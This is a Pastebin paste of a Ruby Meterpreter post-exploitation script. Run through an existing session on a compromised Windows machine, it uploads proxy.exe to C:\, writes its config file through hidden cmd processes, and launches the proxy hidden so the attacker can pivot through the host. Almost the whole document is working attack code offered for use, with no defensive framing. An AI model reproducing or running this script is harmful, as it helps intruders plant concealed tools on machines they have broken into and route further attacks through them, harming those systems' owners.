Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##########################################################
- # Meterpreter Proxy Script by zerocold.co.uk #
- #Created By: Michael Johnson Email: mjog123@hotmail.com #
- ##########################################################
- session = client
- host,port = session.tunnel_peer.split(':')
- #Files to upload to target host
- file = File.join(Msf::Config.install_root, "data", "proxy.exe")
- #Menu-Options
- @@exec_opts = Rex::Parser::Arguments.new(
- "-l" => [ true, "Port To Listen On."]
- # Adding Soon Authentication
- #"-u" => [ true, "Username."],
- #"-p" => [ true, "Password."]
- )
- def usage
- print_line(" Meterpreter Proxy Script ZeroCold.co.uk")
- print_line("Michael Johnson (Zero Cold) mjog123@hotmail.com")
- print_line("#################################################")
- print_line
- print_line("Usage: proxy -u -p -l ")
- print(@@exec_opts.usage)
- raise Rex::Script::Completed
- end
- def upload(session,file)
- location = session.fs.file.expand_path("C:\\")
- fileontrgt = "#{location}\\proxy.exe"
- print_status("Uploading Self Extracting Archive ...")
- session.fs.file.upload_file("#{fileontrgt}","#{file}")
- print_status("Upload Complete ...")
- return fileontrgt
- end
- def writefile(session,port)
- location = session.fs.file.expand_path("C:\\")
- print_status("Creating Command Local File")
- session.sys.process.execute("cmd /c echo [Connection] > #{location}\lps.ini" , nil,{'Hidden' => true,'Channelized' => true})
- session.sys.process.execute("cmd /c echo: >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
- session.sys.process.execute("cmd /c echo port= #{port} >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
- print_status("Local File Created ")
- end
- #Only Local Access, When i have the Time il work on remote
- def excute(session,port)
- location = session.fs.file.expand_path("C:\\")
- print_status("Executing Proxy Server")
- session.sys.process.execute("cmd /c #{location}\\proxy.exe" , nil,{'Hidden' => true,'Channelized' => false})
- print_status("Proxy Started On Port #{port}")
- end
- @@exec_opts.parse(args) { |opt, idx, val|
- case opt
- when "-l"
- port = val
- when "-u"
- user = val
- when "-p"
- pass = val
- end
- }
- upload(session,file)
- writefile(session,port)
- excute(session,port)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement